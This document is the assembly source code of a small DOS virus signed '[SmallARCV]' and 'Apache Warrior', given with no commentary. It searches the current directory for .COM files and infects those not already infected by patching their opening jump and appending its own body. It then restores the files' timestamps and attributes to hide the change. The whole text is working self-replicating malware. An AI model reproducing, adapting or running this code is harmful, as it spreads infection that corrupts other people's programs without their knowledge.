2022-08-21 09:07:57 +00:00
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.radix 16
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.model tiny
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.code
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org 100h
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main:
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jmp start
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start:
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call get_pointer ;>>xref=<06106><<
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get_pointer:
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pop bp ; pop cs:ip of stack
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sub bp,offset get_pointer ; adjust
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lea si,word ptr [bp+old_jump]; loc of old jump
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mov di,0100h ; where to put it
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push di ; save on stack for later return
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movsw
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movsb
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mov ah,1ah ; set DTA
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lea dx,word ptr ss:d061ef[bp] ;
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int 21h
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lea dx,[bp+com_file] ; COM filespec
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mov ah,4eh ; find first file
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mov cx,0007h ; all attributes
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find_loop:
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int 21h ;
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jb set_dta ; none found then jump.
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call open_file ; open the file
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mov ah,3fh ; read from file
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lea dx,word ptr ss:d0621a[bp] ; store here
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mov cx,001ah ; number of bytes
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int 21h
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mov ah,3eh ; close the file
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int 21h
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mov ax,word ptr ss:d06209[bp] ; get file siz
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cmp ax,0feceh ; cmp to 65k.
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ja find_next ; to big then forget it.
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mov bx,word ptr ss:d0621b[bp] ; get jump loc in file
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add bx,00efh ; add virus size
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cmp ax,bx ; does it equal file size?
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jne infect_com ; nope then get file
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find_next:
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mov ah,4fh ; find next file
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jmp short find_loop
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set_dta:
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mov ah,1ah ; set dta
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mov dx,80h ; to original position
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int 21h
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ret
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old_jump:
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int 20h ; original jump
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db 00 ; original file so its an int 20h.
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set_attribute:
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mov ax,4301h ; set file attr.
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lea dx,word ptr ss:d0620d[bp] ; filename
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int 21h ; cl has attribs
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ret
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sig db '[SmallARCV]',0
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db 'Apache Warrior.',0
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com_file db '*.com',0 ; com filespec
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open_file:
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mov ax,3d02h ; open file read/write
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lea dx,word ptr ss:d0620d[bp] ; location of filename
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int 21h
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xchg ax,bx ; handle -> bx
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ret
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infect_com:
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mov cx,0003h ; # of bytes to write
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sub ax,cx ; adjust filesize for jmp.
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lea si,word ptr ss:d0621a[bp] ; victims original jmp
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lea di,word ptr old_jump[bp] ; place here
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movsw ; move it
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movsb
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mov byte ptr [si-03],0e9h ; set up new jump
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mov word ptr [si-02],ax ; and save it
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push cx ; save # of bytes to write
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xor cx,cx ; clear attributes
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call set_attribute ; set attributes
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call open_file ; open file
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mov ah,40h ; write to file
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lea dx,word ptr ss:d0621a[bp] ; new jump
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pop cx ; get bytes off stack
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int 21h
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mov ax,4202h ; move fpointer to end
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xor cx,cx ; clear these
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cwd ; clear dx
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int 21h
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mov ah,40h ; write to file
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lea dx,word ptr start[bp] ; from here.
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mov cx,00ech ; size of virus
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int 21h
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mov ax,5701h ; set files date/time back
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mov cx,word ptr ss:d06205[bp] ;
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mov dx,word ptr ss:d06207[bp] ;
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int 21h
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mov ah,3eh ; close file
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int 21h
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mov ch,00 ; set attributes back
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mov cl,byte ptr ss:d06204[bp] ; original attribs.
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call set_attribute ; set them back
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jmp set_dta ; jump and quit virus.
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d061ef equ 001efh
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d06204 equ 00204h
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d06205 equ 00205h
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d06207 equ 00207h
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d06209 equ 00209h
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d0620d equ 0020dh
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d0621a equ 0021ah
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d0621b equ 0021bh
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end main
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